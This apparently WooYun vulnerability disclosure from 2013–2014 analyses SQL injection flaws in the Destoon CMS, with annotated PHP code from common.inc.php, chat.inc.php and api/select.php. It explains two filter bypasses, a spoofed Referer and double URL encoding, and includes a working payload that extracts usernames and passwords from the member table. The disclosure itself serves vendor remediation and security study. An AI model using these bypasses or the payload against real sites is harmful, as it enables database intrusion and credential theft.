2013-12-18: 细节已通知厂商并且等待厂商处理中 2013-12-19: 厂商已经确认,细节仅向厂商公开 2013-12-22: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息) 2014-02-12: 细节向核心白帽子及相关领域专家公开 2014-02-22: 细节向普通白帽子公开 2014-03-04: 细节向实习白帽子公开 2014-03-18: 细节向公众公开
要过年了,加班加点的。个人觉得不应该仅仅只检测用户的输入,而应该在SQL查询前进行检测才能更好的起到防注入的效果吧,因为人总是有遗漏的。
common.inc.php 0x00
if(!empty($_SERVER['REQUEST_URI'])) strip_uri($_SERVER['REQUEST_URI']);//跟进0x01 if($_POST) { $_POST = strip_sql($_POST); strip_key($_POST); } if($_GET) { $_GET = strip_sql($_GET); strip_key($_GET); } ... if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP); ... $DT_REF = get_env('referer'); //跟进0x01 ... $forward = isset($forward) ? urldecode($forward) : $DT_REF;//注入1跟进0x02,没有设置forward的话就用referer替代,而referer是由我们控制的而且不受GPC影响,也不受过滤的影响。 ... $kw = isset($_GET['kw']) ? htmlspecialchars(str_replace(array("\'"), array(''), trim(urldecode($_GET['kw'])))) : ''; //注入2跟进0x03,这里程序员实际意思是想把'替换成空,应该这么写array('\''),但是他用的双引号,意思就是将\'替换成空,这里可以我们通过urldecode成功绕过通用防注入跟引入单引号。程序检查了REQUEST_URI里不能含有',所以这个只有在IIS的平台下,并且是要以cgi/fastcgi运行才不会获取到数据从而绕过。 //http://**.**.**.**/kb/954946/zh-cn //http://**.**.**.**/kb/2277918/zh-cn $keyword = $kw ? str_replace(array(' ', '*'), array('%', '%'), $kw) : '';//空格替换成%,用%09绕过就行了。 ...
include/global.func.php 0x01
function strip_uri($uri) { if(strpos($uri, '%') !== false) { while($uri != urldecode($uri)) { $uri = urldecode($uri); } } if(strpos($uri, '<') !== false || strpos($uri, "'") !== false || strpos($uri, '"') !== false || strpos($uri, '0x') !== false) { //不能出现' dhttp(403, 0); dalert('HTTP 403 Forbidden', DT_PATH); } } function strip_sql($string) {//由于可伪造referer,还有可以通过urldecode解码绕过,无视下面。 $search = array("/union/i","/0x([a-z0-9]{2,})/i","/select([[:space:]\*\/\-])/i","/update([[:space:]\*\/])/i","/replace([[:space:]\*\/])/i","/delete([[:space:]\*\/])/i","/drop([[:space:]\*\/])/i","/outfile([[:space:]\*\/])/i","/dumpfile([[:space:]\*\/])/i","/load_file\(/i","/substring\(/i","/substr\(/i","/concat\(/i","/concat_ws\(/i","/ascii\(/i","/hex\(/i","/ord\(/i","/char\(/i"); $replace = array('union','0x\\1','select\\1','update\\1','replace\\1','delete\\1','drop\\1','outfile\\1','dumpfile\\1','load_file(','substring(','substr(','concat(','concat_ws(','ascii(','hex(','ord(','char('); return is_array($string) ? array_map('strip_sql', $string) : preg_replace($search, $replace, $string); } function get_env($type) { switch($type) { case 'ip': ... case 'referer': return isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';//可伪造。 ...
module/member/chat.inc.php 0x02
if($chat) { //对话已经存在 if($chat['touser'] == $_username) {//当前为接收人 if($DT_TIME - $chat['freadtime'] > $MOD['chat_poll']*3) {//发起对话人已经断开 $db->query("UPDATE {$table} SET fromuser='$chat_fromuser',touser='$chat_touser',tgettime=0 WHERE chatid='$chatid'"); } else {//发起人在线 dheader('?chatid='.$chatid); } // } else {//当前为发起人 if($DT_TIME - $chat['treadtime'] > $MOD['chat_poll']*3) {//接收人已经断开 $db->query("UPDATE {$table} SET tgettime=0 WHERE chatid='$chatid'"); } else {//接收人在线 // } } } else { $forward = dsafe($forward); if(strpos($forward, $MOD['linkurl']) !== false) $forward = ''; //创建一个新对话 $db->query("INSERT INTO {$table} (chatid,fromuser,touser,tgettime,forward) VALUES ('$chat_id','$chat_fromuser','$chat_touser','0','$forward')"); //伪造referer注射。 /* wooyun'),(12345679801234567890123456789012,(select concat(username,0x2C,password) from destoon_member limit 0,1),'test2test',4,'5 访问 http://localhost/de/member/chat.php?chatid=12345678901234567890123456789012 就能看到注入返回的数据了。 */ } } else if(isset($chatid) && is_md5($chatid)) { $chat = $db->get_one("SELECT * FROM {$table} WHERE chatid='$chatid'"); if($chat && $chat['touser'] == $_username) { $chat_id = $chatid; $chat_status = 3; if(check_name($chat['fromuser'])) { if($DT_TIME - $chat['freadtime'] > $MOD['chat_poll']*3) {//发起对话人已经断开 $db->query("UPDATE {$table} SET tgettime=0 WHERE chatid='$chatid'"); dheader('chat.php?touser='.$chat['fromuser']); } $user = userinfo($chat['fromuser']); $online = online($user['userid']); $user['type'] = 'member'; } else { $user = array(); $user['type'] = 'guest'; $user['ip'] = $chat['fromuser']; $user['area'] = ip2area($chat['fromuser']); if($DT_TIME - $chat['freadtime'] > $MOD['chat_poll']*3) {//发起人是游客,并且已经断开,只能查看记录 $time = $DT_TIME - $MOD['chat_poll']*4; $db->query("UPDATE {$table} SET freadtime='$time' WHERE chatid='$chatid'"); } } $head_title = '与'.($user['type'] == 'guest' ? '【游客】' : $chat['fromuser']).'对话中'; } else { dheader('chat.php'); } $type = 2; }
api/select.php 0x03
login(); if($action == 'item') { $mid > 3 or dheader('DT_PATH'); $from = isset($from) ? trim($from) : 'item'; isset($username) or $username = ''; $condition = $mid == 4 ? 'groupid>5' : 'status=3'; if($keyword) $condition .= " AND keyword LIKE '%$keyword%'";//在上面说的条件下,就可以成功引入单引号,双编码注射,比如select就可以编码成selec%2574绕过。 if($from == 'relate' && $mid == 16) { check_name($username) or exit; $condition .= " AND username='$username'"; } else { if($_groupid == 1) { if($from == 'member') $condition .= " AND username='$_username'"; } else { $condition .= " AND username='$_username'"; } } if($itemid) $condition .= $mid == 4 ? " AND userid=$itemid" : " AND itemid=$itemid"; $order = $mid == 4 ? 'userid DESC' : 'addtime DESC'; $table = get_table($mid); $r = $db->get_one("SELECT COUNT(*) AS num FROM {$table} WHERE $condition");//带入查询。 $items = $r['num']; $pages = pages($items, $page, $pagesize); $lists = array(); $result = $db->query("SELECT * FROM {$table} WHERE $condition ORDER BY $order LIMIT $offset,$pagesize");
求保养,继续奋斗。
危害等级:高
漏洞Rank:20
确认时间:2013-12-19 16:07
已确认存在,我们会尽快修复
2013-12-20:感谢Chora,已修复,详见:http://bbs.destoon.com/thread-55559-1-1.html
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
哇
楼下全是我小号
顶一个。
专业拆楼
niu
登录后才能发表评论,请先 登录 。